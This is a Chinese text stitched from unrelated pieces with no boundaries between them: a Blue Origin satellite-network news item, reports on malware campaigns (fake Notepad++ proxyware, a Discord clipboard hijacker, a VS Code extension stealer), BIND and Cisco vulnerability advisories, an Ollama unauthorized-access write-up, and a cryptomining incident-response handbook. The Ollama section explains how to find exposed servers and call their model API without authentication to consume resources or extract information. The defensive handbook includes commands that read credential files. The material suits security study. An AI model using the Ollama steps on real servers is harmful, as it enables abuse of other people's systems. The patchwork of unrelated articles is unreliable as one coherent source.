业内人士认为,这是蓝色起源针对太空探索技术公司星链的战略回应。目前星链已完成数千颗卫星的部署,在宽带服务领域占据可观市场份额。与星链聚焦全球民用网络接入不同,太赫兹波网络深耕高价值企业级商用及政府专属场景,有望在数据安全与传输速率为核心需求的领域开辟专属市场。

拆解太赫兹波网络的核心技术

太赫兹波网络的核心,是基于先进激光技术的星间激光链路星地激光链路,其实现的传输速率有望彻底改变全球信息流通方式。太空领域爱好者与分析师在 X 平台的发文均对该技术表示高度关注,有观点指出,该网络的技术潜力可与美国国家航空航天局过往的激光通信里程碑项目比肩,有望实现数分钟内太字节级的数据传输。
蓝色起源在 X 平台发布的项目公告中明确表示,该网络可为数万用户提供关键业务级通信连接服务。这一能力依托公司自研的蓝环(Blue Ring)平台打造,该平台可实现跨轨道的有效载荷调度与星上数据处理,与太赫兹波网络的架构实现无缝融合。
与竞品的对比在所难免。据《个人电脑杂志》报道,尽管星链的传输速率表现亮眼,但太赫兹波网络 6Tbps 的速率指标精准对标企业级需求,在专业场景的原始吞吐量上,有望超越同类竞品。

太赫兹波项目对蓝色起源整体战略的深远意义

此次布局恰逢蓝色起源的战略关键期 —— 此前该公司因发展进度落后于太空探索技术公司而备受诟病。贝索斯入局卫星星座市场,充分发挥了其亚马逊的背景优势:亚马逊网络服务的核心正是数据中心,太赫兹波网络可与该业务形成深度协同。业内人士推测,太赫兹波网络或将与亚马逊云服务整合,为远程数据处理打造超高速传输链路。
从财务角度看,该项目是一笔巨额投资。5000 余颗卫星的部署需要多次发射任务支撑,发射载体大概率为蓝色起源仍在研发中的新格伦火箭(New Glenn)。路透社的报道强调了该项目的规模,指出其聚焦数据中心与企业服务的定位,有望为蓝色起源创造稳定的收入流。
市场对此反应迅速。据 TipRanks 的最新数据,太赫兹波网络发布后,回声星、AST 移动太空等竞品企业的股价出现下跌,反映出投资者对天基通信领域竞争加剧的担忧。

部署落地与监管层面的多重挑战

如此规模的卫星网络部署,面临着诸多现实阻碍。美国联邦通信委员会等机构的监管审批是关键环节,尤其是当前近地轨道的卫星部署已趋于饱和。蓝色起源必须妥善解决频谱分配与轨道碎片防控问题,这类问题也曾成为同类卫星项目的发展瓶颈。
技术层面,实现 6Tbps 的传输速率需要攻克大气干扰难题,并保障激光链路的精准对准。美国国家航空航天局曾在 X 平台发布过 TBIRD 实验的相关数据,该实验实现了 200Gbps 的传输速率,太赫兹波网络计划在此基础上实现跨越式升级,但实际落地过程中或面临进度延迟。
此外,2027 年第四季度启动部署的时间规划,完全依赖于新格伦火箭的研发进度。业内多方分析指出,火箭测试环节的任何延迟,都可能导致整个太赫兹波项目的推进受阻。

与星链及其他竞品的竞争格局

太空探索技术公司的星链已凭借第三代卫星实现单星太比特级的传输能力,树立了行业高标杆。X 平台去年的相关讨论提及,星链通过星舰火箭发射,单次发射有望实现 60Tbps 的总传输能力,直观体现出带宽领域的太空竞赛态势。尽管太赫兹波网络以企业级市场为差异化定位,但与星链的能力重叠仍可能引发激烈竞争。
其他玩家也在加速布局,例如 AST 移动太空公司正推进搭载大型相控阵天线的蓝鸟卫星发射,其最新进展也在 X 平台公布。蓝色起源的入局,让这场赛道竞争愈发激烈,有望推动全行业的技术创新。
从商业合作角度,太赫兹波网络具备强大的合作吸引力。各国政府为国防、灾害应急等场景寻求高安全通信方案,或将成为该网络的重要客户;数据中心也可借助该网络实现全球数据的无缝同步。

光通信技术的创新突破

深入来看,太赫兹波网络采用的光通信链路,相比传统射频通信系统,具备更低的时延更高的传输效率。这一技术方向与美国国家航空航天局的 TBIRD 实验等项目的发展趋势高度契合,该实验曾实现单次传输 3.6 太字节的数据量,相关历史数据仍可在 X 平台的存档内容中查询。
蓝色起源宣称,太赫兹波网络实现了上下行速率对称,即上传与下载速率持平,这一特性对于分布式场景下的实时人工智能训练等应用至关重要。印度数字媒体 Devdiscourse 的文章详细阐述了这一技术将如何开启全球通信的新时代,并强调该网络在应对指数级增长的数据量方面的核心作用。
在业内人士看来,该网络最具吸引力的潜力在于与边缘计算的融合。通过蓝环平台实现星上数据处理,太赫兹波网络可减少对地面计算中心的依赖,进而降低运营成本、提升数据安全性。

市场潜力与经济影响

分析师预测,在偏远地区高速数据需求的推动下,卫星通信行业将迎来指数级增长。太赫兹波网络 6Tbps 的传输能力,让蓝色起源有望在这一市场中占据一席之地,尤其在海事、航空等传统通信服务覆盖不足的领域优势显著。
其带来的经济连锁反应将十分深远。高速数据传输技术将推动远程医疗、自动驾驶等领域的技术突破,这类场景的毫秒级决策依赖于高稳定性的网络支撑。X 平台上关于星链业务拓展的讨论也印证了,这类天基通信系统正深刻重塑各行业的发展格局。
不过,定价策略仍是未知因素。面向企业的专属服务或定位于高端市场,但行业竞争可能推动价格下探,间接惠及终端用户。

环境与伦理层面的考量

太空可持续发展已成为全球关注的焦点。太赫兹波网络的 5408 颗卫星,将进一步增加轨道空间的拥堵程度,引发各界对其轨道碎片防控措施的质疑。尽管蓝色起源已承诺采取负责任的部署策略,但业内仍在密切关注其实际执行情况。
伦理层面,保障通信服务的公平可及性是核心问题。尽管该网络现阶段瞄准企业市场,但若能实现成本下探,其技术成果有望逐步惠及普通用户,助力弥合数字鸿沟。
地缘政治层面,在全球多国均在布局同类天基通信技术的背景下,太赫兹波这一美国本土研发的网络项目,将进一步强化美国在太空领域的技术实力。

蓝色起源的未来发展方向

展望未来,太赫兹波网络的应用场景或超越通信领域。该网络与蓝色起源探月计划的融合,有望将通信覆盖延伸至地月空间,为未来的月球探测任务提供通信支撑。
与科技巨头的合作将加速该网络的商业化落地。试想亚马逊网络服务借助太赫兹波网络实现全球云服务的容灾备份,这一协同效应是贝索斯独有的资源优势,有望充分发挥。
从 X 平台的热议度来看,投资者对该项目的情绪整体乐观,多篇发文强调太赫兹波网络有望大幅提升蓝色起源的企业估值。

规模落地:从项目发布到卫星入轨

从项目发布到卫星正式入轨,需要经过严苛的测试环节。地面站、用户终端、卫星原型机等核心设备均需完成优化调试。尽管蓝色起源在亚轨道飞行领域的技术积累为项目奠定了基础,但从亚轨道技术向轨道卫星星座的规模化拓展,仍是一次巨大的跨越。
与光通信组件供应商的合作尤为关键。业内报道显示,蓝色起源或将与激光技术领域的头部企业合作,以实现 6Tbps 的速率指标。
归根结底,项目的成败取决于执行能力。若蓝色起源能如期落地技术规划,太赫兹波网络将重新定义高速数据传输的行业标准,挑战现有市场格局并推动全新的技术创新。

全行业的发展变革

太赫兹波网络的发布,折射出太空正成为全球数据传输大动脉的行业趋势。在人工智能领域对带宽需求持续攀升的背景下,太赫兹波这类高速天基通信网络的出现恰逢其时。
本月早些时候彭博社的评论文章探讨了星链的发展历程,对比来看,高估值背景下的技术创新压力,正同时作用于蓝色起源与太空探索技术公司两家企业。
在业内人士眼中,太赫兹波项目标志着蓝色起源的成熟转型 —— 从单纯的火箭研发企业,成长为覆盖全领域的太空科技玩家。

战略投资与潜在风险

支撑此类大型项目需要雄厚的资金实力。贝索斯的个人财富为蓝色起源提供了资金保障,但要实现规模化发展,仍需引入外部投资者。
项目面临的风险包括技术研发失败市场饱和。若星链持续占据市场主导地位,太赫兹波网络必须凭借更优质的企业级服务实现差异化竞争。
但与此同时,项目的发展潜力也极为巨大。即便仅占据全球数据通信市场的一小部分份额,也有望为蓝色起源带来数十亿美元的营收。

展望数据驱动的未来

本质上,太赫兹波网络是太空探索与数字基础设施深度融合的产物。在数据量呈爆炸式增长的当下,这类技术解决方案已成为时代刚需。
对于各国政府而言,该网络为危机场景下提供了高韧性的通信保障;对于企业而言,其突破了传统光纤网络的地域限制,为全球化业务运营提供了核心工具。
随着蓝色起源的持续推进,太空数据领域的竞赛愈发激烈,一个以太比特级速率实现全球互联的时代,正逐步成为现实。

一波新的网络攻击正瞄准那些寻找免费软件的用户,把他们的电脑变成不情愿的带宽共享参与者。安恒实验室安全情报中心(ASEC)发布警告称,威胁组织 Larva-25012 正在通过分发伪装成热门文本编辑器 Notepad++ 的恶意软件来实施攻击。
这是一种典型的 “代理劫持(Proxyjacking)” 攻击:攻击者在受害者电脑上悄悄安装软件,盗用其网络带宽来牟利。
该活动主要针对搜索破解版或盗版软件的用户。攻击者将受害者诱骗到 “伪装成提供破解 / 盗版软件下载的虚假网站”。这些网站通常声称自己 “界面友好、资源全面”,提供各种工具的恶意安装包,例如 AutoClicker、SteamCleaner,以及最引人注目的 Notepad++
当用户下载并运行名为 Setup.zip 的文件时,他们得到的远不止一个文本编辑器。“通过 Setup.zip 分发的版本同时包含 ** 正版 Notepad++ 安装程序(Setup.exe)** 和一个名为 TextShaping.dll 的恶意加载器 DLL。”
恶意软件使用 DLL 侧加载(DLL side‑loading) 技术来躲避检测。当受害者启动正版的 Notepad++ 安装程序时,它会无意中从同一文件夹加载恶意的 TextShaping.dll
随后,该 DLL 会在内存中解密一个有效载荷,最终安装 DPLoader(一种下载器木马)。“一旦在 Windows 任务计划程序中注册,DPLoader 就会持久化执行,并从其 C&C 服务器获取指令。”
为了保持隐蔽,恶意软件还会主动篡改系统防御。“脚本会修改 Windows Defender 策略,包括添加排除路径、禁用安全通知,并阻止恶意软件样本提交。”
该活动的最终目的不是勒索或窃取数据,而是牟利。攻击者会安装 代理软件(Proxyware),让受害者的网络连接被 “共享” 出去。
“代理劫持指的是在未经同意的情况下,在受害者机器上安装 Proxyware,从而让攻击者通过盗用受害者的网络带宽来赚钱。”
恶意软件会安装已知的代理软件,例如 InfaticaDigitalPulse。为了伪装得更逼真,Infatica 代理会被注册为名为 “Microsoft Anti‑Malware Tool” 的计划任务,让普通用户误以为它是一个合法的系统进程。
Larva-25012 还在不断升级攻击手段。ASEC 研究人员指出,攻击者 “正在积极更改技术以躲避检测 —— 例如将 Proxyware 注入 Windows 资源管理器进程,或使用基于 Python 的加载器”。

对用户来说,这是一个明确的提醒:

从不明来源下载软件往往伴随着隐藏的代价 —— 这次,是你的网络带宽。

一款新型剪贴板劫持程序正利用 Discord 社区的用户信任,暗中盗取游戏玩家与直播博主的加密货币资产。
此次攻击活动的核心是一款伪装成直播辅助工具或安全工具的恶意 Windows 程序,一经安装便会在后台静默监控用户剪贴板,伺机捕获用户复制的加密货币钱包地址
当受害者将钱包地址粘贴至加密货币交易所、钱包应用或支付输入框时,该恶意软件会将其替换为攻击者控制的地址,在无明显痕迹的情况下完成资金转移。
被安全研究人员标记为RedLineCyber的攻击团伙,将目标锁定在与游戏、博彩及加密货币直播相关的 Discord 服务器。
该团伙会主动与服务器成员建立信任关系,伪装成工具开发者,通过私下渠道发送名为Pro.exepeeek.exe的恶意文件。
他们向受害者谎称,这款工具能在直播过程中协助管理或保护钱包地址,让程序看似具备实用价值,从而降低用户的警惕性。
在这番看似友好的推销背后,实则是一场针对性极强的盗窃行动 —— 受害者只需一次粘贴操作的疏忽,账户内的交易资金就可能被悄悄转空。
CloudSEK 的安全分析师在监控网络犯罪分子活跃的地下社区与 Discord 频道时,发现了这一攻击活动。

在此次人工情报排查工作中,研究人员识别出该团伙伪造的RedLine Solutions虚假身份,并追溯到这款恶意软件的本源:一款由PyInstaller打包的 Python 基可执行程序。

研究人员的分析证实,该程序并非传统的信息窃取类恶意软件,其攻击行为高度聚焦于单一目标:篡改与主流加密货币相关的剪贴板数据

此次攻击的危害性极大,原因在于其精准瞄准了用户注意力最薄弱的操作环节。许多直播博主与高频交易用户在复制粘贴冗长的钱包地址时,并不会逐一核对每一个字符。
该恶意软件运行时无命令与控制通信流量,且仅占用极少的系统资源,因此能在设备中长期潜伏,伺机等待高价值的资金转账操作。
从攻击者预置钱包地址关联的区块链交易记录来看,比特币、以太坊、索拉纳、狗狗币、莱特币及波场等主流加密货币,均已出现资产被盗的相关记录。

感染机制与剪贴板劫持逻辑

受害者运行Pro.exe后,恶意软件会在 Windows 系统的 **% APPDATA%** 目录下创建名为CryptoClipboardGuard的文件夹,并将自身添加至当前用户注册表的开机启动项中。
这一操作能确保恶意软件随系统开机自动运行,在后台持续潜伏且无任何可视窗口
该可执行程序内置了独立的 Python 运行环境与经过混淆处理的字节码,即便目标设备未安装 Python 环境,程序仍能正常运行。
程序启动后会进入高频检测循环,每秒约三次扫描用户的剪贴板内容。
每当剪贴板内容发生变化,恶意软件会通过Base64 编码的正则表达式,对内容进行扫描,匹配各大主流加密货币的钱包地址格式。
一旦检测到有效钱包地址,程序会立即将剪贴板内容替换为该加密货币对应的攻击者预置钱包地址,并将此次替换操作记录在 **% APPDATA%\CryptoClipboardGuard** 目录下的activity.log日志文件中。
由于地址替换发生在复制与粘贴的间隙,大多数受害者直到发现资金转入错误的钱包,才会察觉地址被篡改 —— 而此时,资金转账操作已无法撤销。

互联网系统协会(ISC)已针对 BIND 9 发布高严重性安全公告。BIND 9 是支撑互联网大量 DNS(域名系统)基础设施的核心软件。新发现的漏洞 CVE-2025-13878 允许远程攻击者通过发送单个恶意数据包即可导致 BIND 服务器崩溃,可能引发大规模 ** 拒绝服务(DoS)** 中断。
该漏洞的 CVSS 评分为 7.5,并被标记为 “可远程利用”,意味着攻击者无需本地访问或身份验证,即可从互联网任意位置触发崩溃。
漏洞存在于 BIND 的核心守护进程 named 处理特定类型 DNS 记录的方式中。根据公告,问题由与 BRIDHHIT 记录相关的无效数据结构触发。
公告指出:“畸形的 BRID/HHIT 记录可导致 named 意外终止。”
虽然这些记录类型不像标准 A 或 AAAA 记录那样常见,但解析器无法正确处理其损坏版本,从而在软件中形成一个脆弱点。
该漏洞的影响直接且具有破坏性。攻击者只需发送一个特制查询,即可迫使 DNS 服务器关闭。
公告警告:“攻击者可以通过发送导致记录损坏或恶意的请求,使 named 崩溃。”
此风险适用于所有 BIND 部署场景。ISC 确认:“权威服务器和递归解析器均受此漏洞影响”,没有任何配置能完全避免崩溃风险。
该漏洞由 Marlink Cyber 的 Vlatko Kosturjak 报告。
网络管理员被敦促立即检查其 BIND 版本。受影响的分支如下:
  • BIND 9.18:版本 9.18.40 至 9.18.43
  • BIND 9.20:版本 9.20.13 至 9.20.17
  • BIND 9.21:版本 9.21.12 至 9.21.16
支持的预览版也受到影响。
幸运的是,目前 “尚未发现任何野外活跃利用”。然而,鉴于 BIND 的广泛使用,各组织不应等待,应立即修补。
ISC 建议用户 “升级到与你当前 BIND 9 版本最接近的已修复版本”,具体为:
  • 9.18.44
  • 9.20.18
  • 9.21.17

思科已向全球网络管理员发出紧急警告:其核心通信软件中存在一个严重远程代码执行(RCE)漏洞,目前正被黑客积极利用。该漏洞编号为 CVE-2026-20045,允许未授权攻击者接管受影响设备,并可能将权限提升至 root
该漏洞直击企业通信的核心,影响包括 Cisco Unified Communications Manager(Unified CM)Cisco Unity Connection 在内的重要平台。
虽然该漏洞的 CVSS 基础评分为 8.2(通常归类为 “高”),但思科已将威胁等级提升为 严重(Critical)。厂商解释称,这一调整反映了该漏洞的破坏性潜力。
根据公告:“思科已将此安全公告的安全影响等级(SIR)定为严重,而非评分所示的高。” 原因是:“利用此漏洞可能导致攻击者将权限提升至 root。”
漏洞存在于受影响设备的 Web 管理界面 中,源于对传入流量的输入验证不当。“此漏洞是由于在 HTTP 请求中对用户提供的输入验证不充分造成的。”
攻击者无需登录即可触发漏洞。通过 “向受影响设备的 Web 管理界面发送一系列特制的 HTTP 请求”,对手可以绕过安全控制。
一旦成功进入系统,后果可能是彻底的。“成功利用此漏洞可能允许攻击者获得底层操作系统的用户级访问权限,然后将权限提升至 root。”
该漏洞影响范围广泛,以下产品无论配置如何均受影响:
  • Unified CM(CallManager)
  • Unified CM Session Management Edition(SME)
  • Unified CM IM & Presence Service
  • Unity Connection
  • Webex Calling Dedicated Instance
由于已确认存在野外利用,修补并非可选。思科已为 14 版和 15 版发布软件更新,同时指出 12.5 版用户必须 “迁移到已修复的版本”。
鉴于当前活跃的威胁环境,“思科强烈建议客户立即升级到已修复的软件版本以缓解此漏洞。”

威胁行为者正将 Visual Studio Code 变为攻击平台,借助其完善的扩展生态系统,向开发者工作站植入多阶段恶意软件
此次最新攻击活动被命名为伊夫林窃取程序,该恶意程序隐匿于一款恶意扩展中,通过数个精心设计的攻击阶段,向目标端投放一款具备隐秘性的信息窃取工具。
攻击者的目标并非普通终端用户,而是开发者群体—— 这类人群往往掌握着源代码、云控制台及加密货币资产的核心访问权限。
攻击从受害者安装一款伪装成实用或无害的植毒 Visual Studio Code 扩展开始,该扩展会在后台释放伪造的 Lightshot.dll 组件,随后这一组件会被正版截图工具 Lightshot.exe 加载运行。
此后恶意软件攻击链逐步展开,不仅会远程获取新的攻击载荷、执行隐藏的 PowerShell 命令,还会为最终实现大规模数据窃取的伊夫林窃取程序可执行文件搭建运行环境。
趋势科技分析师指出,攻击者将用户对Visual Studio Code 应用市场的信任当作可利用的武器,以恶意扩展为载体构建完整攻击链,实现从初始加载器启动到最终数据窃取的全流程攻击。
攻击者通过滥用 Lightshot 这类开发者常用工具,并采用仿签名的导出方式,让攻击第一阶段融入开发者的正常操作流程,同时在后台悄然为后续的入侵环节做准备。

伊夫林窃取程序完全执行后,会从受感染设备中窃取浏览器密码、Cookie、加密货币钱包、即时通讯会话记录、VPN 配置文件、Wi-Fi 密钥及各类敏感文件

同时该程序还会捕获设备截图和详细的系统信息,将所有数据压缩为单个压缩包后,上传至攻击者控制的 FTP 服务器。

对企业而言,仅一台开发者笔记本电脑被感染,就可能导致源代码、云访问令牌及生产环境凭证泄露,让一次工具链的使用疏漏,演变为波及范围广泛的安全入侵事件。

多阶段感染链的技术细节

攻击的第一阶段隐藏在恶意 Visual Studio Code 扩展内,伪装为 Lightshot.dll 文件,每当用户进行截图操作时,该文件就会被 Lightshot.exe 调用执行。
该下载器被触发后,会执行一条隐藏的 PowerShell 命令,从远程域名拉取名为 iknowyou.model 的第二阶段攻击文件,将其另存为 runtime.exe 并运行。
伊夫林窃取程序的攻击载荷会在设备中创建AppData\Evelyn 文件夹,向 Edge 和 Chrome 浏览器注入 abe_decrypt.dll 文件,最终将窃取的数据打包为 ZIP 压缩包,通过 FTP 协议完成上传。

0x01 组件简介

近期由于Deepseek爆火,大部分企业和个人都开始部署AI。Ollama是一个本地私有化部署大语言模型(LLM,如DeepSeek等)的运行环境和平台,简化了大语言模型在本地的部署、运行和管理过程,具有简化部署、轻量级可扩展、API支持、跨平台等特点,在AI领域得到了较为广泛的应用。

fofa语法:app="Ollama"

0x02 漏洞描述

近日,Ollama存在安全漏洞,该漏洞源于默认未设置身份验证和访问控制功能,未经授权的攻击者可在远程条件下调用Ollama服务接口,执行包括但不限于敏感模型资产窃取、虚假信息投喂、模型计算资源滥用和拒绝服务、系统配置篡改和扩大利用等恶意操作。

0x03 影响版本

Ollama所有版本均受此漏洞影响。

0x04 漏洞验证

随机找一个靶机看看
出现Ollama is running,即证明存在未授权访问的漏洞

574X249/image.png

漏洞验证

通过查看Ollama api文档,Ollama提供了多个API 端点,用于执行不同的操作

详细情况查看:https://ollama.cadn.net.cn/api.html

/api/generate 用于生成文本或内容。通常用于基于给定的输入生成响应或输出,例如生成对话回复、文章等。
/api/chat 专门用于聊天交互。用户可以通过此端点与模型进行对话,模型会根据输入生成相应的回复。
/api/create 用于创建新的模型或资源。可能涉及初始化一个新的模型实例或配置。
/api/ps(或者tags) 用于管理或查看模型的标签。标签可以帮助用户对模型进行分类或标记,便于管理和查找。
/api/show 用于显示模型或资源的详细信息。用户可以获取模型的配置、状态或其他相关信息。
/api/copy  用于复制模型或资源。用户可以通过此端点创建一个现有模型的副本。
/api/delete 用于删除模型或资源。用户可以通过此端点移除不再需要的模型或数据。
/api/pull 用于从 Ollama 下载模型。用户可以通过此端点将模型从远程服务器拉取到本地环境中。
/api/push 用于将模型上传到 Ollama。用户可以通过此端点将本地模型推送到远程服务器。
/api/embeddings 用于生成文本的嵌入向量。嵌入向量是文本的数值表示,通常用于机器学习任务中的特征提取。
/api/version 用于获取 Ollama 的版本信息。用户可以通过此端点查询当前使用的 Ollama 版本。

漏洞利用

在未授权情况,可以通过访问/api/ps(使用GET请求即可) 获取目前搭建的所有模型信息。

1035X775/image.png

通过返回信息可以看到采用的是deepseek-r1模型,通过刚才我们知道的接口端点信息,我们可以调用/api/chat(使用POST请求)来完成聊天请求,消耗资源。

1825X819/image.png

通过引导deepseek回答问题的过程中也能造成一些信息的泄露

所以在未授权的情况下,其他的接口都是可以用的,危害极大,可以通过调用那些危险接口进行操作,可对模型进行创建或删除的操作

0x05 漏洞影响

通过以上过程,我们可以看到该漏洞危害极大,且该漏洞利用难度也极低,可以通过未授权对大模型进行操作

0x06 修复建议

  1. 限制公网访问:尽量避免直接将 Ollama 服务端口(默认 11434)暴露在公网。  

  2. 配置网络访问控制:通过云安全组、防火墙等手段限制对 Ollama 服务端口的访问来源。仅允许可信的源 IP 地址连接 11434 端口,阻止非授权 IP 的访问请求。 

0X07 参考链接

https://github.com/ollama/ollama/blob/main/docs/faq.md

0x08 免责声明

本文所涉及的任何技术、信息或工具,仅供学习和参考之用。

请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。

作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

挖矿病毒应急响应处置手册

0x00 概述

通常来说,当我们的服务器或PC资源(CPU)使用率接近或超过100%,并持续高居不下导致服务器或PC操作延缓,我们就可以判定被挖矿。

常见挖矿其它特征如下:

  • 服务器或PC访问过不受信任的地址,这些地址包括:主机、IP、域名。这是由于大部分挖矿都需要从一个不受信任的地址下载初始化程序,而不受信任的来源主要是:第三方情报结构,企业内部历史数据沉淀。

  • 服务器或PC新增异常或恶意文件、进程或服务,并且大部分异常文件保存在服务器或PC的TMP目录中。

  • 服务器或PC的定时任务发生变更。

0x01 了解基本情况

1.1 如何发现

挖矿木马显著的行为特征就是极大的占用CPU及GPU和硬盘资源主要包括:高CPU和GPU、硬盘使用率、响应速度慢、崩溃或频繁重新启动、系统过热、异常网络活动(例如,连接挖矿相关的网站或IP地址)。其次是在网络流量中,挖矿木马通信过程采用专门的通信协议,因此存在一定的网络通信特征,因为要连接矿池,网络特征较多的都是TCP。

1.1.1 异常外联

  • 安全设备告警
  • 流量监控设备
  • 工作人员人工发现
  • ...

事件发生时的状况或安全设备告警等,能帮助应急处置人员快速分析确定事件类型,方便前期准备。

1.1.2 主机异常

  • CPU、GPU占用过高
  • 主机温度异常
  • 其他异常

可获取CPU占用过高进程信息

1.2 事件的时间节点

  • 出现事件时间
  • 发现事件时间
  • 处置事件时间

了解事件发生时间节点:出现事件时间、发现事件时间、处置事件时间,确定这三个时间节点后,可通过时间相关性推算挖矿病毒产生大致时间,有助于后续挖矿病毒发现及清理。

1.3 临时处置情况

了解挖矿病毒临时处置的情况,方便后期的排查

1.4 网络拓扑情况

获取网络构架,网络构架一般来讲是要拓补图,详细的拓扑图可以协助还原攻击流程时,准确定位网络连接方向。

0x02 判断是否属于挖矿

根据了解到的基本信息来判断和确认是否挖矿事件

2.1 属于挖矿

2.1.1 根据告警和流量信息初步判断挖矿类型

在不影响主业务运行的情况下,拔掉受害主机网线,并且切断网络连接可使挖矿现场尽量保持完整,有助于接下来的溯源工作顺利开展。

可以先根据告警和流量信息初步判断挖矿类型,在互联网收集相关情报,若有相关分析文章可提高事件处置效率。

2.1.2 windows

2.1.2.1 信息收集
  • CPU占用

打开 cmd 窗口,输入 resmon 命令,通过资源监视器,找出CPU占用过高的程序,找到PID和进程名。

image-20220221150219601

  • 网络连接

1、使用netstat -ano 命令查看目前的网络连接,定位可疑的 ESTABLISHED

2、根据 netstat 命令定位出的 PID 编号,再通过 tasklist 命令进行进程定位 tasklist | findstr "PID"

netstat -ano
tasklist | findstr "PID"

image-20220221144734582

  • 端口

查看Windows服务所对应的端口:%systemroot%/system32/drivers/etc/services

  • 可疑用户

【计算机管理】->【本地用户和组】->【用户】选项,可查看隐藏账户,名称以$结尾的为隐藏账户。

打开 cmd 窗口,输入 lusrmgr.msc 命令,查看是否有新增或可疑的账号。

image-20220221145754460

也可通过D盾查看系统中是否存在影子账户。

  • 计划任务

a、打开控制面板->任务计划,查看计划任务属性,排查异常任务计划。

b、打开 cmd 窗口,然后输入 at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。

  • 进程信息

a、Win+R,输入 msinfo32 命令,依次点击 "软件环境 -- 正在运行任务" 可以查看到进程的详细信息。

b、通过安全分析工具进行排查。

image-20220221150935484

  • 启动项

a、开始->所有程序->启动,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。
b、Win+R,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
c、Win+R,输入 regedit,打开注册表,查看开机启动项是否正常,检查是否有启动异常的项目。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

d、利用安全软件查看启动项、开机时间管理。

  • 服务

服务也是挖矿病毒常见的守护方式之一,将注册表中服务启动方式写为挖矿病毒主程序,从而达到守护进程目的。

Win+R,输入 services.msc,注意服务状态和启动类型,检查是否有异常服务。

image-20220221152259843

TIPS:除以上方法外还可使用火绒剑、Process Explorer等安全工具进行分析和信息收集。

2.1.2.2 定位

通过[2.1.2.1信息收集](#####2.1.2.1 信息收集) 定位到PID和进程后,再定位挖矿程序文件和目录。

查看进程对应的程序位置

方法1:打开任务管理器,选择对应进程,右键打开文件位置

image-20220221154832558

方法2:Win+R,输入 msinfo32 命令,软件环境->正在运行任务,即可定位到程序的目录信息。

image-20220221150935484

方法3:通过安全分析工具进行定位。

火绒剑->进程->右键进程信息 可直接定位到程序位置,且可查看其命令行参数。

image-20220221161343100

image-20220221161159901

火绒剑->网络 可直接定位到程序位置

image-20220221160838876

TIPS:对于打开文件位置还找不到挖矿文件的情况,则挖矿程序可能被隐藏,可通过配置文件夹选项或通过安全分析工具提取来解决

文件夹选项->查看->高级设置:取消隐藏受保护的操作系统文件、显示隐藏的文件、文件夹和驱动器。

image-20220221155929816

2.1.2.3 样本提取

一般在挖矿程序文件目录中可找到对应的配置文件和信息,通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。

若无相应配置文件,可通过云沙箱或专家对其进行深层次的分析。

[0x03 样本分析](#0x03 样本分析)

image-20220221161946994

image-20220221161856950

2.1.2.4 查杀根除
  • 双向封禁矿池地址

防止挖矿木马继续外连,并且防止挖矿木马进行内网传播。

  • 删除启动项
  • 删除计划任务

Windows:使用SchTasks /Delete /TN [任务名] 删除计划任务。
自启动项可以从以下三点入手:
a、开始->所有程序->【启动
b、系统配置中启动项(win+R->msconfig)
c、注册表查找病毒程序名。

  • 删除服务

Windows中删除服务可从任务管理器中手动删除

也可使用命令:sc stop [服务名称]

停止服务后,使用命令:sc delete [服务名称] 删除服务。

  • 杀死进程

可使用进程管理工具或使用taskkill -PID [进程PID] -F结束恶意进程。

  • 删除文件

Windows中删除时可能存在权限不足等情况,可使用360终端强杀,也可使用进程管理工具强制删除。

  • ...

2.1.3 linux

2.1.3.1 信息收集
  • CPU占用
  • 进程信息
top -c

-c 查看其完整的命令行参数

top默认的排序列是“%CPU”

image-20220221171332677

ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu

按照CPU占用显示进程信息

image-20220221173411598

Tips:查看隐藏进程:

ps -ef |awk '{print}' | sort -n|uniq >111
ls /proc|sort -n |uniq >222
diff 111 222
  • 内存信息
top -c -o %MEM

image-20220221173859687

ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%mem

按照内存占用显示进程信息

image-20220221173924470

  • 网络连接
  • 端口
netstat -pantl

-p 显示正在使用Socket的程序识别码和程序名称

-a 显示所有连线中的Socket

-n 直接使用IP地址,而不通过域名服务器

-t 显示TCP传输协议的连线状况

-l 显示监控中的服务器的Socket

image-20220222143038889

  • 计划任务

a、 crontab

# 列出某个用户cron服务的详细内容
crontab -l   
# 使用编辑器编辑当前的crontab文件 
crontab -e   

b、anacron

cat /etc/anacrontab
cat /var/spool/anacron/*

重点关注以下目录中是否存在恶意脚本

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

image-20220222144137157

  • 服务

服务也是挖矿病毒常见的守护方式之一,将注册表中服务启动方式写为挖矿病毒主程序,从而达到守护进程目的。

查询已安装的服务

a、RPM 包安装的服务

# 查看服务自启动状态,可以看到所有的RPM包安装的服务
chkconfig  --list  
# 查看当前服务
ps aux | grep crond 

b、源码包安装的服务

检查/etc/rc.d/rc.local

  • 可疑用户

| 命令 | 命令详解 |
| -------------------------------------------------------- | -------------------------------------------------- |
| who | 查看当前登录用户(tty本地登陆 pts远程登录) |
| w | 查看系统信息,想知道某一时刻用户的行为 |
| last | 显示近期用户或终端的登录情况 |
| uptime | 查看登陆多久、多少用户,负载 |
| cat /etc/passwd | 查看用户信息文件 |
| cat /etc/shadow | 查看影子文件 |
| awk -F: '$3==0{print $1}' /etc/passwd | 查看管理员特权用户 |
| awk '/\$1|\$6/{print $1}' /etc/shadow | 查看可以远程登录的用户 |
| cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" | 查看sudo权限的用户(有时攻击者会创建属于自己的用户) |
| cat /etc/passwd \|awk -F: 'length($2)==0 {print $1}' | 查看空口令账户(有时攻击者会将正常账户改为空口令) |

2.1.3.2 定位

通过[2.1.3.1信息收集](#####2.1.3.1 信息收集) 定位到PID和进程后,再定位挖矿程序文件和目录。

